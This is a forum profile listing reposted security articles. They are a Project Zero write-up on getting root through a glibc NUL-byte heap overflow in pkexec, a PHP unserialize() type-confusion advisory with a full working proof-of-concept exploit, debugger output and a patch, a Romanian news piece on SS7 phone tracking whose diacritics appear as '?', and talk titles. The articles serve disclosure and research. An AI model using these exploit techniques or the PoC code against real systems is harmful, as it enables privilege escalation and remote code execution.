Jump to content

Nytro

Administrators
  • Posts

    18794
  • Joined

  • Last visited

  • Days Won

    742

Everything posted by Nytro

  1. The poisoned NUL byte, 2014 edition Posted by Chris Evans, Exploit Writer Underling to Tavis Ormandy Back in this 1998 post to the Bugtraq mailing list, Olaf Kirch outlined an attack he called “The poisoned NUL byte”. It was an off-by-one error leading to writing a NUL byte outside the bounds of the current stack frame. On i386 systems, this would clobber the least significant byte (LSB) of the “saved %ebp”, leading eventually to code execution. Back at the time, people were surprised and horrified that such a minor error and corruption could lead to the compromise of a process. Fast forward to 2014. Well over a month ago, Tavis Ormandy of Project Zero disclosed a glibc NUL byte off-by-one overwrite into the heap. Initial reaction was skepticism about the exploitability of the bug, on account of the malloc metadata hardening in glibc. In situations like this, the Project Zero culture is to sometimes “wargame” the situation. geohot quickly coded up a challenge and we were able to gain code execution. Details are captured in our public bug. This bug contains analysis of a few different possibilities arising from an off-by-one NUL overwrite, a solution to the wargame (with comments), and of course a couple of different variants of a full exploit (with comments) for a local Linux privilege escalation. Inspired by the success of the wargame, I decided to try and exploit a real piece of software. I chose the “pkexec” setuid binary as used by Tavis to demonstrate the bug. The goal is to attain root privilege escalation. Outside of the wargame environment, it turns out that there are a series of very onerous constraints that make exploitation hard. I did manage to get an exploit working, though, so read on to see how. Step 1: Choose a target distribution I decided to develop against Fedora 20, 32-bit edition. Why the 32-bit edition? I’m not going to lie: I wanted to give myself a break. I was expecting this to be pretty hard so going after the problem in the 32-bit space gives us just a few more options in our trusty exploitation toolkit. Why Fedora and not, say, Ubuntu? Both ship pkexec by default. Amusingly, Ubuntu has deployed the fiendish mitigation called the “even path prefix length” mitigation. Kudos! More seriously, there is a malloc() that is key to the exploit, in gconv_trans.c:__gconv_translit_find(): newp = (struct known_trans *) malloc (sizeof (struct known_trans) + (__gconv_max_path_elem_len + name_len + 3) + name_len); If __gconv_max_path_elem_len is even, then the malloc() size will be odd. An odd malloc() size will always result in an off-by-one off the end being harmless, due to malloc() minimum alignment being sizeof(void*). On Fedora, __gconv_max_path_elem_len is odd due to the value being /usr/lib/gconv/ (15) or /usr/lib64/gconv/ (17). There are various unexplored avenues to try and influence this value on Ubuntu but for now we choose to proceed on Fedora. Step 2: Bypass ASLR Let’s face it, ASLR is a headache. On Fedora 32-bit, the pkexec image, the heap and the stack are all randomized, including relative to each other, e.g.: b772e000-b7733000 r-xp 00000000 fd:01 4650 /usr/bin/pkexec b8e56000-b8e77000 rw-p 00000000 00:00 0 [heap] bfbda000-bfbfb000 rw-p 00000000 00:00 0 [stack] There is often a way to defeat ASLR, but as followers of the path of least resistance, what if we could just bypass it altogether? Well, what happens if we run pkexec again after running the shell commands ulimit -s unlimited and ulimit -d 1 ? These altered limits to stack and data sizes are inherited across processes, even setuid ones: 40000000-40005000 r-xp 00000000 fd:01 9909 /usr/bin/pkexec 406b9000-407bb000 rw-p 00000000 00:00 0 /* mmap() heap */ bfce5000-bfd06000 rw-p 00000000 00:00 0 [stack] This is much better. The pkexec image and libraries, as well as the heap, are now in static locations. The stack still moves around, with about 8MB variation (or 11 bits of entropy if you prefer), but we already know static locations for both code and data without needing to know the exact location of the stack. (For those curious about the effect of these ulimits on 64-bit ASLR, the situation isn’t as bad there. The binary locations remain well randomized. The data size trick is still very useful, though: the heap goes from a random location relative to the binary, to a static offset relative to the binary. This represents a significant reduction in entropy for some brute-force scenarios.) Step 3: Massage the heap using just command line arguments and the environment After significant experimentation, our main heap massaging primitive is to call pkexec with a path comprising of ‘/’ followed by 469 ‘1’ characters. This path does not exist, so an error message including this path is built. The eventual error message string is a 508-byte allocation, occupying a 512-byte heap chunk on account of 4 bytes of heap metadata. The error message is built using an algorithm that starts with a 100-byte allocation. If the allocation is not large enough, it is doubled in size, plus 100 bytes, and the old allocation is freed after a suitable copy. The final allocation is shrunk to precise size using realloc. Running the full sequence through for our 508-byte string, we see the following heap API calls: malloc(100), malloc(300), free(100), malloc(700), free(300), realloc(508) By the time we get to this sequence, we’ve filled up all the heap “holes” so that these allocations occur at the end of the heap, leading to this heap layout at the end of the heap (where “m” means metadata and a red value shows where the corruption will occur): | free space: 100 |m| free space: 300 |m| error message: 508 bytes | In fact, the heap algorithm will have coalesced the 100 and 300 bytes of free space. Next, the program proceeds to consider character set conversion for the error message. This is where the actual NUL byte heap overflows occurs, due to our CHARSET=//AAAAA… environment variable. Leading up to this, a few small allocations outside of our control occur. That’s fine; they stack up at the beginning of the coalesced free space. An allocation based on our CHARSET environment variable now occurs. We choose the number of A’s in our value to cause an allocation of precisely 236 bytes, which perfectly fills the remaining space in the 400 bytes of free space. The situation now looks like this: | blah |m| blah |m| charset derived value: 236 bytes |m: 0x00000201| error message: 508 bytes | The off-by-one NUL byte heap corruption now occurs. It will clobber the LSB of the metadata word that precedes the error message allocation. The format of metadata is a size word, with a couple of flags in the two least significant bits. The flag 0x1, which is set, indicates that the previous buffer, the charset derived value, is in use. The size is 0x200, or 512 bytes. This size represents the 508 bytes of the following allocation plus 4 bytes of metadata. The size and flag values at this time are very specifically chosen so that the single NUL byte overflow only has the effect of clearing the 0x1 in use flag. The size is unchanged, which is important later when we need to not break forward coalescing during free(). Step 4: Despair The fireworks kick off when the error message is freed as the program exits. We have corrupted the preceding metadata to make it look like the previous heap chunk is free when in fact it is not. Since the previous chunk looks free, the malloc code attempts to coalesce it with the current chunk being freed. When a chunk is free, the last 4 bytes represent the size of the free chunk. But the chunk is not really free; so what does it contain as its last 4 bytes? Those bytes will be interpreted as a size. It turns out that as an attacker, we have zero control over these last 4 bytes: they are always 0x6f732e00, or the string “.so” preceded by a NUL byte. Obviously, this is a very large size. And unfortunately it is used as an index backwards in memory in order to find the chunk header structure for the previous chunk. Since our heap is in the 0x40000000 range, subtracting 0x6f732e00 ends us up in the 0xd0000000 range. This address is in kernel space so when we dereference it as a chunk header structure, we get a crash and our exploitation dreams go up in smoke. At this juncture, we consider alternate heap metadata corruption situations, in the hope we will find a situation where we have more control: Forward coalescing of free heap chunks. If we cause the same corruption as described above, but arrange to free the chunk preceding the overflowed chunk, we follow a different code path. It results in the beginning of the 236-byte allocation being treated as a pair of freelist pointers for a linked list operation. This sounds initially promising, but again, we do not seem to have full control over the these values. In particular, the second freelist pointer comes out as NULL (guaranteed crash) and it is not immediately obvious how to overlap a non-NULL value there. Overflowing into a free chunk. This opens up a whole range of possibilities. Unfortunately, our overflow is a NUL byte so we can only make free chunks smaller and not bigger, which is a less powerful primitive. But we can again cause confusion as to the location of heap metadata headers. See “shrink_free_hole_consolidate_backward.c” in our public bug. Again, we are frustrated because we do not have obvious control over the first bytes of any malloc() object that might get placed into the free chunk after we have corrupted the following length. Overflowing into a free chunk and later causing multiple pointers to point to the same memory. This powerful technique is covered in “shrink_free_hole_alloc_overlap_consolidate_backward.c” in our public bug. I didn’t investigate this path because the required precise sequence of heap operations did not seem readily possible. Also, the memory corruption occurs after the process has hit an error and is heading towards exit(), so taking advantage of pointers to overlapping memory will be hard. At this stage, things are looking bad for exploitation. Step 5: Aha! use a command-line argument spray to effect a heap spray and collide the heap into the stack The breakthrough to escape the despair of step 4 comes when we discover a memory leak in the pkexec program; from pkexec.c: else if (strcmp (argv[n], "--user") == 0 || strcmp (argv[n], "-u") == 0) { n++; if (n >= (guint) argc) { usage (argc, argv); goto out; } opt_user = g_strdup (argv[n]); } This is very useful! If we specify multiple “-u” command line arguments, then we will spray the heap, because setting a new opt_user value does not consider freeing the old one. Furthermore, we observe that modern Linux kernels permit a very large number of command-line arguments to be passed via execve(), with each one able to be up to 32 pages long. We opt to pass a very large number (15 million+) of “-u” command line argument values, each a string of 59 bytes in length. 59 bytes plus a NUL terminator is a 60 byte allocation, which ends up being a 64 byte heap chunk when we include metadata. This number is important later. The effect of all these command line arguments is to bloat both the stack (which grows down) and the heap (which grows up) until they crash into each other. In response to this collision, the next heap allocations actually go above the stack, in the small space between the upper address of the stack and the kernel space at 0xc0000000. We use just enough command line arguments so that we hit this collision, and allocate heap space above the stack, but do not quite run out of virtual address space -- this would halt our exploit! Once we’ve caused this condition, our tail-end mappings look a bit like this: 407c8000-7c7c8000 rw-p 00000000 00:00 0 /* mmap() based heap */ 7c88e000-bf91c000 rw-p 00000000 00:00 0 [stack] bf91c000-bff1c000 rw-p 00000000 00:00 0 /* another mmap() heap extent */ Step 6: Commandeer a malloc metadata chunk header The heap corruption listed in step 3 now plays out in a heap extent that is past the stack. Why did we go to all this effort? Because it avoids the despair in step 4. The huge backwards index of 0x63732e00 now results in an address that is mapped! Specifically, it will hit somewhere around the 0x50700000 range, squarely in the middle of our heap spray. We control the content at this address. At this juncture, we encounter the first non-determinism in our exploit. This is of course a shame as we deployed quite a few tricks to avoid randomness. But, by placing a heap extent past the stack, we’ve fallen victim to stack randomization. That’s one piece of randomization we were not able to bypass. By experimental determination, the top of the stack seems to range from 0xbf800000-0xbffff000, for 2048 (2^11) different possibilities with 4k (PAGE_SIZE) granularity. A brief departure on exploit reliability. As we spray the heap, the heap grows in mmap() extents of size 1MB. There is no control over this. Therefore, there’s a chance that the stack will randomly get mapped sufficiently high that a 1MB mmap() heap extent cannot fit above the stack. This will cause the exploit to fail about 1 in 8 times. Since the exploit is a local privilege escalation and takes just a few seconds, you can simply re-run it. In order to get around this randomness, we cater for every possible stack location in the exploit. The backwards index to a malloc chunk header will land at a specific offset into any one of 2048 different pages. So we simply forge a malloc chunk header at all of those locations. Whichever one hits by random, our exploit will continue in a deterministic manner by using the same path forward. At this time, it’s worth noting why we sprayed the heap with 59-byte strings. These end up spaced 64 bytes apart. Since 64 is a perfect multiple of PAGE_SIZE (4096), we end up with a very uniform heap spray pattern. This gives us two things: an easy calculation to map command line arguments to an address where the string will be placed in the heap, and a constant offset into the command line strings for where we need to place the forged heap chunk payload. Step 7: Clobber the tls_dtor_list So, we have now progressed to the point where we corrupt memory such that a free() call will end up using a faked malloc chunk header structure that we control. In order to further progress, we abuse freelist linked list operations to write a specific value to a specific address in memory. Let’s have a look at the malloc.c code to remove a pointer from a doubly-linked freelist: #define unlink(AV, P, BK, FD) { \ [...] if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) { \ mutex_unlock(&(AV)->mutex); \ malloc_printerr (check_action, "corrupted double-linked list", P); \ mutex_lock(&(AV)->mutex); \ } else { \ if (!in_smallbin_range (P->size) \ && __builtin_expect (P->fd_nextsize != NULL, 0)) { \ assert (P->fd_nextsize->bk_nextsize == P); \ assert (P->bk_nextsize->fd_nextsize == P); \ if (FD->fd_nextsize == NULL) { \ [...] } else { \ P->fd_nextsize->bk_nextsize = P->bk_nextsize; \ P->bk_nextsize->fd_nextsize = P->fd_nextsize; \ [...] We see that the main doubly linked list is checked in a way that makes it hard for us to write to arbitrary locations. But the special doubly linked list for larger allocations has only some debug asserts for the same type of checks. (Aside: there’s some evidence that Ubuntu glibc builds might compile these asserts in, even for release builds. Fedora certainly does not.) So we craft our fake malloc header structure so that the main forward and back pointers point back to itself, and so that the size is large enough to enter the secondary linked list mani****tion. This bypasses the main linked list corruption check, but allows us to provide arbitrary values for the secondary linked list. These arbitrary values let us write an arbitrary 4-byte value to an arbitrary 4-byte address, but with a very significant limitation: the value we write must itself be a valid writeable address, on account of the double linking of the linked list. i.e. after we write our arbitrary value of P->bk_nextsize to P->fd_nextsize, the value P->bk_nextsize is itself dereferenced and written to. This limitation does provide a headache. At this point in the process’ lifetime, it is printing an error message just before it frees a few things up and exits. There are not a huge number of opportunities to gain control of code execution, and our corruption primitive does not let us directly overwrite a function pointer with another, different pointer to code. To get around this, we note that there are two important glibc static data structure pointers that indirectly control some code that gets run during the exit() process: __exit_funcs and tls_dtor_list. __exit_funcs does not work well for us because the structure contains an enum value that has to be some small number like 0x00000002 in order to be useful to us. It is hard for us to construct fake structures that contain NUL bytes in them because our building block is the NUL-terminated string. But tls_dtor_list is ideal for us. It is a singly linked list that runs at exit() time, and for every list entry, an arbitrary function pointer is called with an arbitrary value (which has to be a pointer due to previous contraints)! It’s an easy version of ROP. Step 8: Deploy a chroot() trick For our first attempt to take control of the program, we simply call system(“/bin/bash”). This doesn’t work because this construct ends up dropping privileges. It is a bit disappointing to go to so much trouble to run arbitrary code, only to end up with a shell running at our original privilege level. The deployed solution is to chain in a call to chroot() before the call to system(). This means that when system() executes /bin/sh, it will do so inside a chroot we have set up to contain our own /bin/sh program. Inside our fake /bin/sh, we will end up running with effective root privilege. So we switch to real root privilege by calling setuid(0) and then execute a real shell. TL;DR: Done! We escalated from a normal user account to root privileges. Step 9: Tea and medals; reflect The main point of going to all this effort is to steer industry narrative away from quibbling about whether a given bug might be exploitable or not. In this specific instance, we took a very subtle memory corruption with poor levels of attacker control over the overflow, poor levels of attacker control over the heap state, poor levels of attacker control over important heap content and poor levels of attacker control over program flow. Yet still we were able to produce a decently reliable exploit! And there’s a long history of this over the evolution of exploitation: proclamations of non-exploitability that end up being neither advisable nor correct. Furthermore, arguments over exploitability burn time and energy that could be better spent protecting users by getting on with shipping fixes. Aside from fixing the immediate glibc memory corruption issue, this investigation led to additional observations and recommendations: Memory leaks in setuid binaries are surprisingly dangerous because they can provide a heap spray primitive. Fixing the pkexec memory leak is recommended. The ability to lower ASLR strength by running setuid binaries with carefully chosen ulimits is unwanted behavior. Ideally, setuid programs would not be subject to attacker-chosen ulimit values. There’s a long history of attacks along these lines, such as this recent file size limit attack. Other unresolved issues include the ability to fail specific allocations or fail specific file opens via carefully chosen RLIMIT_AS or RLIMIT_NOFILE values. The exploit would have been complicated significantly if the malloc main linked listed hardening was also applied to the secondary linked list for large chunks. Elevating the assert() to a full runtime check is recommended. We also noticed a few environment variables that give the attacker unnecessary options to control program behavior, e.g. G_SLICE letting the attacker control properties of memory allocation. There have been interesting historical instances where controlling such properties assisted exploitation such as this traceroute exploit from 2000. We recommend closing these newer routes too. I hope you enjoyed this write-up as much as I enjoyed developing the exploit! There’s probably a simple trick that I’ve missed to make a much simpler exploit. If you discover that this is indeed the case, or if you pursue a 64-bit exploit, please get in touch! For top-notch work, we’d love to feature a guest blog post. Sursa: Project Zero: The poisoned NUL byte, 2014 edition
  2. SPL ArrayObject/SPLObjectStorage Unserialization Type Confusion Vulnerabilities Posted: 2014-08-27 09:23 by Stefan Esser Introduction One month ago the PHP developers released security updates to PHP 5.4 and PHP 5.5 that fixed a number of vulnerabilities. A few of these vulnerabilities were discovered by us and we already disclosed the lesser serious one in our previous blogpost titled phpinfo() Type Confusion Infoleak Vulnerability and SSL Private Keys. We showed that this vulnerability allowed retrieving the SSL private key from Apache memory. However we kept silent about two more serious type confusion vulnerabilities that were reachable through PHP's unserialize() function until the PHP team had the chance to not only fix PHP 5.4 and PHP 5.5 but also release a final PHP 5.3 release, which fixes these vulnerabilities. Unlike the information leak disclosed before these type confusions can lead to arbitrary remote code execution. The PHP function unserialize() allows do deserialize PHP variables that were previously serialized into a string represantation by means of the serialize() function. Because of this it has traditionally been used by PHP application developers to transfer data between PHP applications on different servers or as compressed format to store some data client side, despite all warnings that this is potentially dangerous. The dangers arising from this function are twofold. On the one hand it allows to instantiate classes that PHP knows about at the time of execution, which can be abused sometimes to execute arbitrary code as demonstrated in our research Utilizing Code Reuse Or Return Oriented Programming In PHP Application Exploits presented at BlackHat USA 2010. On the other hand there is the danger of memory corruptions, type confusions or use after free vulnerabilities in the unserialize() function itself. The researchers of SektionEins have shown the existence of both types of problems again and again in the past. During source code audits we perform for our customers we still see unserialize() being used on user input today, despite all the previous vulnerabilities in unserialize() and various examples of successful compromises through object injections. Research from other teams has even shown that often encryption and signing shemes people think up to protect serialized data, do not work and can be exploited. In this post we will detail two type confusion vulnerabilities in the deserialization of SPL ArrayObject and SPL ObjectStorage objects that we disclosed to PHP.net and show how they allow attackers to execute arbitrary code on the server. Both vulnerabilities have the CVE name CVE-2014-3515 assigned. The Vulnerabilities The vulnerabilities in question are located in the PHP source code inside the file /ext/spl/splarray.c inside the SPL_METHOD(Array, unserialize) and inside the file /ext/spl/spl_observer.c inside the SPL_METHOD(SplObjectStorage, unserialize). The vulnerabilities are located in the handling of serialized object member variables. ALLOC_INIT_ZVAL(pmembers);if (!php_var_unserialize(&pmembers, &p, s + buf_len, &var_hash TSRMLS_CC)) { zval_ptr_dtor(&pmembers); goto outexcept; } /* copy members */ if (!intern->std.properties) { rebuild_object_properties(&intern->std); } zend_hash_copy(intern->std.properties, Z_ARRVAL_P(pmembers), (copy_ctor_func_t) zval_add_ref, (void *) NULL, sizeof(zval *)); zval_ptr_dtor(&pmembers); The code above calls the deserializer to get the member variables from the serialized string and then copies them into the properties with the zend_hash_copy() function. The type confusion vulnerability here is that the code assumes that the deserialization returns a PHP array. This is however not checked and fully depends on the content of the serialized string. The result is then used via the Z_ARRVAL_P macro which leads to various problems depending on what type of variable is actually returned by the deserializer. To understand the problem in more detail let us look at the definition of a ZVAL (ignoring the GC version) and the Z_ARRVAL_P macro: typedef union _zvalue_value { long lval; /* long value */ double dval; /* double value */ struct { char *val; int len; } str; HashTable *ht; /* hash table value */ zend_object_value obj; } zvalue_value; struct _zval_struct { /* Variable information */ zvalue_value value; /* value */ zend_uint refcount__gc; zend_uchar type; /* active type */ zend_uchar is_ref__gc; }; #define Z_ARRVAL(zval) (zval).value.ht #define Z_ARRVAL_P(zval_p) Z_ARRVAL(*zval_p) As you can see from these definitions accessing the Z_ARRVAL of a PHP variable will lookup the pointer to HashTable structure from the union zvalue_value. The HashTable structure is PHP's internal way to store array data. Because this is a union for other variable types this pointer will be filled with different types of data. A PHP integer variable for example will have its value stored in the same position as the pointer of the PHP array variable (in case sizeof(long) == sizeof(void *)). The same is true for the value of floating point variables and the other variable types. Let's look into what happens when the deserializer returns an integer (or maybe a double value for Win64): The value of the integer will be used as an in memory pointer to a HashTable and its data will be copied over into another array. The following little POC code demonstrates this and will make the deserializer attempt to work on a HashTable starting at memory address 0x55555555. This should result in a crash, because it is usually an invalid memory position. [phpcode]<?php unserialize("C:11:\"ArrayObject\":28:{x:i:0;a:0:{};m:i:1431655765;});"); ?>[/phpcode] In case the memory address does point to a real HashTable structure, its content is copied over into the deserialized array object as its member variables. This is useful in case the result of the deserialization is serialized again and returned to the user, which is a common pattern in applications exposing unserialize() to user input. The following PHP code is an example of this pattern. [phpcode]<?php $data = unserialize(base64_decode($_COOKIE['data'])); $data['visits']++; setcookie("data", base64_encode($data)); ?>[/phpcode] Whenever unserialize() is used in a similar way as above, vulnerabilities exposed through unserialize() can result in information leaks. Digging Deeper While integer variables allow us to interpret arbitrary memory positions as HashTable PHP's string variable type might be more interesting for an attacker. When you look at the ZVAL structure above you will realize that the array's HashTable pointer is in the same position as a string's stringdata pointer. This means if the deserializer returns a string instead of an array the content of the string will be accessed as if it is a HashTable. Let's have a look into what these HashTables structures are. [cpp]typedef struct _hashtable { uint nTableSize; /* current size of bucket space (power of 2) */ uint nTableMask; /* nTableSize - 1 for faster calculation */ uint nNumOfElements; /* current number of elements */ ulong nNextFreeElement; /* next free numerical index */ Bucket *pInternalPointer; /* used for element traversal */ Bucket *pListHead; /* head of double linked list of all elements in array */ Bucket *pListTail; /* tail of double linked list of all elements in array */ Bucket **arBuckets; /* hashtable bucket space */ dtor_func_t pDestructor; /* element destructor */ zend_bool persistent; /* marks hashtable lifetime as persistent */ unsigned char nApplyCount; /* required to stop endless recursions */ zend_bool bApplyProtection; /* required to stop endless recursions */ } HashTable;[/cpp] PHP's HashTable structure is a mixture of the data structures hashtable and double linked list. This allows for fast element access but also allows to traverse the elements of an array in order. The elements of the array are stored in so called Buckets that either inline the data or provide a pointer to the actual data associated with a bucket. For every possible hash value the topmost bucket is addressed through a pointer from the bucket space. The bucket data structure is as follows: [cpp]typedef struct bucket { ulong h; /* Used for numeric indexing */ uint nKeyLength; /* 0 for numeric indicies, otherwise length of string */ void *pData; /* address of the data */ void *pDataPtr; /* storage place for data if datasize == sizeof(void *) */ struct bucket *pListNext; /* next pointer in global linked list */ struct bucket *pListLast; /* prev pointer in global linked list */ struct bucket *pNext; /* next pointer in bucket linked list */ struct bucket *pLast; /* prev pointer in bucket linked list */ char arKey[1]; /* Must be last element - recently changed to point to external array key */ } Bucket;[/cpp] With those two data structures it is now possible to layout a fake HashTable in the string that is passed to unserialize that itself points to a fake array in memory. Depending on the content of that fake array the destruction of the just deserialized object at the end of the script will trigger the attacker(fake array) supplied HashTable destructor, which gives the attacker control over the program counter. The first parameter to this destructor is a pointer to the pointer to the fake ZVAL supplied by the fake Bucket, which means a pivot gadget that moves the first function paramter into the stack pointer would be enough to start a ROP chain. Proof of Concept Exploit The following code was shared with the PHP developers on 20th June 2014. It is a POC that demonstrates program counter control from a PHP script. The POC was developed against a standard MacOSX 10.9.3 installation of PHP 5.4.24. It works by first spraying the heap with a repeated pattern of fake hashtables, buckets and zvals and then triggers the malicious unserialize(). Keep in mind that a remote attacker could heap spray PHP installations by sending lots of POST data to the server and then pass a malicious string to a user input exposed unserialize(). [phpcode]<?php /* Unserialize ArrayObject Type Confusion Exploit */ /* (C) Copyright 2014 Stefan Esser */ ini_set("memory_limit", -1); if ($_SERVER['argc'] < 2) { $__PC__ = 0x504850111110; } else { $__PC__ = $_SERVER['argv'][1] + 0; } // we assume that 0x111000000 is controlled by our heap spray $base = 0x114000000 + 0x20; echo "Setting up memory...\n"; setup_memory(); echo "Now performing exploit...\n"; $inner = 'x:i:0;a:0:{};m:s:'.strlen($hashtable).':"'.$hashtable.'";'; $exploit = 'C:11:"ArrayObject":'.strlen($inner).':{'.$inner.'}'; $z = unserialize($exploit); unset($z); function setup_memory() { global $str, $hashtable, $base, $__PC__; // we need FAKE HASH TABLE / FAKE BUCKET / FAKE ZVAL $bucket_addr = $base; $zval_delta = 0x100; $hashtable_delta = 0x200; $zval_addr = $base + $zval_delta; $hashtable_addr = $base + $hashtable_delta; //typedef struct bucket { $bucket = "\x01\x00\x00\x00\x00\x00\x00\x00"; // ulong h; $bucket .= "\x00\x00\x00\x00\x00\x00\x00\x00"; // uint nKeyLength = 0 => numerical index $bucket .= ptr2str($bucket_addr + 3*8);// void *pData; $bucket .= ptr2str($zval_addr); // void *pDataPtr; $bucket .= ptr2str(0);// struct bucket *pListNext; $bucket .= ptr2str(0);// struct bucket *pListLast; $bucket .= ptr2str(0);// struct bucket *pNext; $bucket .= ptr2str(0);// struct bucket *pLast; $bucket .= ptr2str(0);// const char *arKey; //} Bucket; //typedef struct _hashtable { $hashtable = "\x00\x00\x00\x00";// uint nTableSize; $hashtable .= "\x00\x00\x00\x00";// uint nTableMask; $hashtable .= "\x01\x00\x00\x00";// uint nNumOfElements; $hashtable .= "\x00\x00\x00\x00"; $hashtable .= "\x00\x00\x00\x00\x00\x00\x00\x00";// ulong nNextFreeElement; $hashtable .= ptr2str(0);// Bucket *pInternalPointer; /* Used for element traversal */ $hashtable .= ptr2str($bucket_addr);// Bucket *pListHead; $hashtable .= ptr2str(0);// Bucket *pListTail; $hashtable .= ptr2str(0);// Bucket **arBuckets; $hashtable .= ptr2str($__PC__);// dtor_func_t pDestructor; $hashtable .= "\x00";// zend_bool persistent; $hashtable .= "\x00";// unsigned char nApplyCount; // zend_bool bApplyProtection; //} HashTable; //typedef union _zvalue_value { // long lval; /* long value */ // double dval; /* double value */ // struct { // char *val; // int len; // } str; // HashTable *ht; /* hash table value */ // zend_object_value obj; //} zvalue_value; //struct _zval_struct { /* Variable information */ $zval = ptr2str($hashtable_addr);// zvalue_value value; /* value */ $zval .= ptr2str(0); $zval .= "\x00\x00\x00\x00";// zend_uint refcount__gc; $zval .= "\x04";// zend_uchar type; /* active type */ $zval .= "\x00";// zend_uchar is_ref__gc; $zval .= ptr2str(0); $zval .= ptr2str(0); $zval .= ptr2str(0); //}; /* Build the string */ $part = str_repeat("\x73", 4096); for ($j=0; $j<strlen($bucket); $j++) { $part[$j] = $bucket[$j]; } for ($j=0; $j<strlen($hashtable); $j++) { $part[$j+$hashtable_delta] = $hashtable[$j]; } for ($j=0; $j<strlen($zval); $j++) { $part[$j+$zval_delta] = $zval[$j]; } $str = str_repeat($part, 1024*1024*256/4096); } function ptr2str($ptr) { $out = ""; for ($i=0; $i<8; $i++) { $out .= chr($ptr & 0xff); $ptr >>= 8; } return $out; } ?>[/phpcode] You can then test the POC on the command line: $ lldb php Current executable set to 'php' (x86_64). (lldb) run exploit.php 0x1122334455 There is a running process, kill it and restart?: [Y/n] y Process 38336 exited with status = 9 (0x00000009) Process 38348 launched: '/usr/bin/php' (x86_64) Setting up memory... Now performing exploit... Process 38348 stopped * thread #1: tid = 0x636867, 0x0000001122334455, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0x1122334455) frame #0: 0x0000001122334455 error: memory read failed for 0x1122334400 (lldb) re re General Purpose Registers: rax = 0x0000001122334455 rbx = 0x0000000114000020 rcx = 0x000000010030fd48 php`_zval_dtor_func + 160 rdx = 0x0000000100d22050 rdi = 0x0000000114000038 rsi = 0x0000000000000000 rbp = 0x00007fff5fbfe8b0 rsp = 0x00007fff5fbfe888 r8 = 0x0000000000000000 r9 = 0x0000000000000008 r10 = 0x0000000000000000 r11 = 0x000000000000005b r12 = 0x0000000100956be8 php`executor_globals r13 = 0x0000000000000000 r14 = 0x0000000114000220 r15 = 0x0000000000000000 rip = 0x0000001122334455 <----- controlled RIP rflags = 0x0000000000010206 cs = 0x000000000000002b fs = 0x0000000000000000 gs = 0x0000000022330000 (lldb) x/20x $rdi-0x18 0x114000020: 0x00000001 0x00000000 0x00000000 0x00000000 0x114000030: 0x14000038 0x00000001 0x14000120 0x00000001 <---- &pDataPtr 0x114000040: 0x00000000 0x00000000 0x00000000 0x00000000 0x114000050: 0x00000000 0x00000000 0x00000000 0x00000000 0x114000060: 0x00000000 0x00000000 0x73737373 0x73737373 The Fix We shared our patches for these vulnerabilities with the PHP developers who have therefore released PHP 5.5.14, PHP 5.4.30 and PHP 5.3.29. If you are running any of these versions you do not need to apply the fix. If you are not you should make sure that you apply the following patchset. --- php-5.5.13/ext/spl/spl_observer.c 2014-05-28 11:06:28.000000000 +0200 +++ php-5.5.13-unserialize-fixed/ext/spl/spl_observer.c 2014-06-20 17:54:33.000000000 +0200 @@ -898,7 +898,7 @@ ++p; ALLOC_INIT_ZVAL(pmembers); - if (!php_var_unserialize(&pmembers, &p, s + buf_len, &var_hash TSRMLS_CC)) { + if (!php_var_unserialize(&pmembers, &p, s + buf_len, &var_hash TSRMLS_CC) || Z_TYPE_P(pmembers) != IS_ARRAY) { zval_ptr_dtor(&pmembers); goto outexcept; } --- php-5.5.13/ext/spl/spl_array.c 2014-05-28 11:06:28.000000000 +0200 +++ php-5.5.13-unserialize-fixed/ext/spl/spl_array.c 2014-06-20 17:54:09.000000000 +0200 @@ -1789,7 +1789,7 @@ ++p; ALLOC_INIT_ZVAL(pmembers); - if (!php_var_unserialize(&pmembers, &p, s + buf_len, &var_hash TSRMLS_CC)) { + if (!php_var_unserialize(&pmembers, &p, s + buf_len, &var_hash TSRMLS_CC) || Z_TYPE_P(pmembers) != IS_ARRAY) { zval_ptr_dtor(&pmembers); goto outexcept; } Stefan Esser Sursa: https://www.sektioneins.de/en/blog/14-08-27-unserialize-typeconfusion.html
  3. Echipamente de monitorizare pentru urm?rirea telefoanelor mobile, disponibile oricui pentru închiriere sau cump?rare Aurelian Mihai - 26 aug 2014 Considerat de mult timp un privilegiu rezervat ??rilor bogate, spionarea în mas? a utilizatorilor de telefonie mobil? este, aparent, la îndemâna oric?rui guvern sau organiza?ie dispus? s? cumpere sau închirieze echipamentele necesare, respectiv s? ob?in? cooperarea operatorilor de telefonie. Potrivit dezv?luirilor f?cute de publica?ia Washington Post, zeci de ??ri ar fi cump?rat deja sau închiriat echipamente de supraveghere care permit monitorizarea telefoanelor mobile oriunde în lume, singura condi?ie fiind ca operatorul local de telefonie s? coopereze tolerând astfel de activit??i. Toate acestea sunt posibile cu ajutorul unui software specializat care exploateaz? vulnerabilit??ile setului de protocoale SS7, implementat în anul 1993 ?i folosit f?r? alte modific?ri pentru semnalizare în majoritatea re?elelor de telefonie din lume. Aparent, pentru stabilirea loca?iei unui utilizator nu este necesar? decât interogarea re?elelor de telefonie furnizând num?rul de telefon. Cu suficient de multe interog?ri repetate la diferite intervale de timp este posibil? localizarea persoanei vizate aproape oriunde în lume, precum ?i urm?rirea deplas?rilor pas cu pas. Echipamente de monitorizare pentru urm?rirea telefoanelor mobile, disponibile oricui pentru închiriere sau cump?rare Mai departe, sistemul poate fi folosit în combina?ie cu alte mijloace de supraveghere pentru interceptarea traficului de date trimis c?tre ?i dinspre telefonul mobil, respectiv stabilirea loca?iei exacte. Cunoscute sub denumirea de StingRays, echipamente de interceptare adresate ini?ial autorit??ilor americane pentru folosirea în misiuni de supraveghere ar fi ajuns pe mâini gre?ite, fiind în prezent folosite pentru a servi intereselor unor ter?e persoane ?i organiza?ii. Din p?cate prevenirea abuzurilor este dificil de pus în practic? atât timp cât peste 75% dintre re?ele accept? cereri de localizare trimise folosind protocolul SS7 ?i nu ofer? mijloace pentru blocarea eficient? a solicit?rilor abuzive. O alternativ? mai sigur? pentru sistemul SS7 va fi gata abia în urm?torii 10 ani, între timp singura metod? de ap?rare fiind nedivulgarea num?rului de telefon ?i schimbarea periodic? a acestuia, preferabil împreun? cu telefoanele folosite pân? atunci. Sursa: Echipamente de monitorizare pentru urm?rirea telefoanelor mobile, disponibile oricui pentru închiriere sau cump?rare
  4. [h=1]BadUSB - On Accessories that Turn Evil by Karsten Nohl + Jakob Lell[/h]
  5. [h=1]Diving Into IE 10’s Enhanced Protected Mode Sandbox by Mark Vincent Yason[/h]
  6. [h=1]OFFENSIVE: Exploiting DNS Servers Changes by Leonardo Nve[/h]
